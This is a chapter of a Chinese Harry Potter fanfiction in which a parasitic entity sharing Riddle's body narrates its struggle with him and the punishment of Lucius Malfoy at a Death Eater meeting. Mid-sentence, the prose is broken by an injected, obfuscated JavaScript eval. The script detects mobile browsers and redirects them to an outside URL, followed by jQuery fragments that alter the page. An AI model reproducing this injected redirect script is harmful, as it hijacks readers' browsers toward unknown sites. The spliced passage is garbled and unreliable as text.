119.奇美拉

作品:《[HP] 虚拟构建游戏

    里德尔占有这具身体的时间太长了。


    我不喜欢他总是站着走来走去,也不喜欢他坐在原地一动不动,不喜欢他吃东西,也不喜欢他不吃东西。他坐着,我就让他脊背发胀,站起来,我让他头晕目眩,当他吃东西时,我会让他呕吐出来,绝食的时候我就会因为吃不饱而让他更加虚弱。


    他有时候生气地捶打自己的脸——在我眼睛的那个位置——他说,我像一只寄生虫一样生活在他身上。


    这时候,我会发出嘲笑声,告诉他:他完全可以把身体让给我,等到这具身体完全属于我,我会好好对待它的。


    他有时候会发疯,逮着斯内普问到底什么才能除掉我,有时候又自己一个人研究那些古怪的黑魔法。终于,在一次长达三十个小时的大熬夜之后,我拿走了他桌子上的提神药剂。


    嗯,用我的手。


    “你应该休息了。”我用近三米长的足肢在桌面上刻出划痕,“你需要休息,我需要健康。”


    他恼怒地对自己的身体释放切割咒,我无所谓地看着落在地上的残肢,叮嘱道:“记得补钙。”


    -


    里德尔醒来之后发现自己不记得昨天晚上梦见什么了。但是他浑身上下的骨头都在疼痛,眼球像是不断被一根小刺抵着折磨,皮肤冰冷又松散,像是被剥下来之后又拼接上去。


    “汤姆。”


    纳吉尼支起身子,胖乎乎的十分讨喜。它说,“你昨天晚上一直在大喊大叫。”


    雨天的马尔福庄园阴冷潮湿,有东西把一朵白色的小花放在里德尔的窗台上。隔着冷针一样的雨,花瓣变得透明衰败,在玻璃窗外面晃了一下,就被吹到三楼下面去了。


    我盯着那朵花,脑海里却在想昨天晚上的事情。


    胎儿——胚胎时代让我重新回到栖息在吊死鬼身上的那种状态。我会降生于世,在将来;也为灭亡于世,在将来。如朝阳与夕阳,同样悬停于地平线上。


    我折磨汤姆,就像是对待戈麦斯家族那样,流放他的精神,让他代替我去无边无际的梦境世界中受苦,然后再啃掉他们的噩梦,找到一条属于我的出路。


    旁白认为,这样太冒险了。


    -当你成为他的一部分时,他也同样拥有你的一部分。你们嵌合在这具身体里,共同拥有一个‘身份’。


    是的,拥有同一个身份是危险的,因为这代表着他能够变成我。同样的,这是一个非常好的机会,因为我也能变成他。


    借由戈麦斯家族上百年的研究,正如那本我们一开始苦苦找寻的书籍那样:


    【遗憾的是,上帝的选指往往未降生在人身上,它们被梦境诸恶所窃取。梦境承受痛苦与错乱的记忆,化作一只拥有自我精神的‘异质’,同样获得这场赐福。在生命的跑道里,我将它称之为‘行于诸梦境之兽’。】


    【梦兽千变万化,唯独在我们多重诅咒中不可为人。它挣扎在梦境之苦中,也将永远束缚在那里,吞噬苦难,成为我们逾越界线中的最后一扇门。当我们杀死梦兽,真正杀死它,便剥离世界加之于我的重苦难,得以成为‘上善’。】


    【我们找到它,杀死它,却又成全它的永生。它吞噬痛苦,吞噬我们,又化作我们中的一员。当我们再次翻开这本书时,它又在何处降生?不要杀死它了,死亡会让它破除梦境之茧。它沉在水中,泥土中,某日,化作风中之泡沫,成为‘上善’。】


    【改变之改变已无可之变,万变中,我们已走到尽头。】


    我获得这种“选指”,又像戈麦斯们曾经渴望的那样,真正将“选指”交给一个人类。同样的,我也破除“不可为人”的诅咒,重新降生在人类的身上——而不是人类的“子宫”。


    这种微妙的差别令我感受到一股被命运嘲弄的愤怒。一开始,我认为作为【人】是一种我不曾经历过的变化,也是“万变”之一。而后,不断转世又让我明白,所谓“人的变化”也不过是比那些蛇虫鼠蚁长得更高一些,活得更久一些。


    真正破局的关键不是“身份”,不是“种族”,而是“变化”本身。


    ——生命的轮回成长本身。


    或者说,“生育”本身。


    如果将生命看做一场旅程。那么起点自然是生物的“子宫”或者孕育与繁衍之器官,而终点就是死亡。死亡之后,我们会在山洞停留一瞬,接着就前往下一位“母亲”的子宫。


    如果我想到脱离这一种变化,达到所谓“无可之变”,要么消灭终点,要么消灭起点。


    消灭终点,我就永远不能回到山洞之中,永远无法打开那扇被我藏好的门。而消灭“起点”——我想,我已经做到了。


    我已经不再需要“子宫”,也不再需要“母亲”。或许在某种程度上,我已经超越了“伦/理”。


    -......


    旁白出乎意料的沉默。


    里德尔正在对食死徒大呼小叫,他又找回了一些残党。可能是人多势众,他觉得自己变成“邓布利多之下第一人”。于是,马尔福就在集会上怂恿他去突袭阿兹卡班。


    卢修斯·马尔福说得冠冕堂皇,称不能让那些血统纯正又忠诚的朋友们一直背着罪人的身份在监狱里受苦。


    里德尔轻飘飘地看他一眼,反问道:“莱斯特兰奇夫妇的审判正在进行,何必急于一时?还是说——”


    “如今回来的人——包括你——卢修斯·马尔福——都是一群废物?”


    他说这句话的时候,手里的魔杖微微抬起。十分不幸地,在此之前他翻出来我做奎格时的魔杖,那根魔杖的脾气不太好,也不顺从他,让他身上长出许多羽毛一样的小鳞片。


    老马尔福敢怒不敢言,在毛茸茸的里德尔的瞪视下恨不得钻到自家地毯底下去。


    我在羽毛中长出尖锐的喙,口吐人言道:“为什么要这么折磨他呢?每个罪人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114272|148310||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    都有将来,汤姆,我记得卢修斯·马尔福受邀作为陪审团的一员将参与贝拉的审判。是这样的吗,马尔福?”


    鸟类的发声习惯与人不能说一模一样,只能说毫不相关。每一个单词我都念出来了,但是对于重音的使用还是像生活在树枝上的那段日子一样,拥有自己的理解。


    “回答我们。”


    在沉默中,我不满地敲击喙尖。“哒哒”的声音在整个宴会厅萦绕,声波似乎影响头顶那扇华丽的吊灯所扩散的光线的幻影,灰暗多彩的斜角在天花板上摇摇欲坠。


    “派......派瑞特......”是纳西莎·马尔福,她磕磕巴巴地喊我的名字。“我们都很希望贝拉能够清白地回来......但是......”


    “很好。”我打断她,“那就去做这件事,让她回来。”


    “但是......”


    “茜茜。”卢修斯握住他的妻子的手,我的眼睛看向他们——这多像一对可怜的、正在暴风雨中互相支撑的小情侣。里德尔冷笑一声。


    虽然我们大部分时间在内斗,但是捞食死徒出狱这件事上,我们的利益一致。我希望借由贝拉出狱做些什么,里德尔也在我为他制造的假象中找到一个可以牵制我的“温情的幻影”。


    我们获得一段短暂的和平。


    但是,这种和平很快就被马尔福打破了。


    “我们的主人是黑魔王。”卢修斯紧紧握着他的妻子的手,与我划清界限。好像这样就可以掩盖住他的无能。在纳西莎和其余食死徒震撼的眼神中,站起来走到里德尔身前。他如骑士一般跪下,像是做着最后的殊死一搏。


    “Lord......”他拽住里德尔的袍子。


    -有点恶心,汤米,他不会亲吻你的脚指头吧?


    旁白说。


    里德尔不适地动了动身子。在我和旁白的助力里,给了马尔福一发加强版的钻心剜骨。


    在持续的痛苦中,我对马尔福说:“卢修斯,你还不明白吗?你既不聪明,也不狡猾。之前你能够在魔法部横行霸道,是因为你的周围都是一群比你更蠢的蠢货。你很弱小,也很有钱。卢修斯——”


    “——你就是一个钱袋子呀。”


    当我高兴的时候,我和他一起玩,我维护他的秩序和道德;当我不高兴了,我就抛弃他们,毁掉这个脆弱的社会里道德。


    纳西莎几乎是从座位上弹跳而起——我从未见过她如此灵敏失态的模样。她跪在地上,通过不停地喊我的名字来哀求我。


    我觉得这对夫妻很有意思,巧合的是,里德尔也这么想。他说,他们在我发号施令的时候向他宣誓忠诚,在他降下惩罚的时候又向我求饶。


    “因为他们的身份错位了。”我说,“当然,我们也一样。”


    “汤姆,我们两个现在究竟是用同一个脑袋思考的不同的个体,还是拥有不同的想法的一个整体?”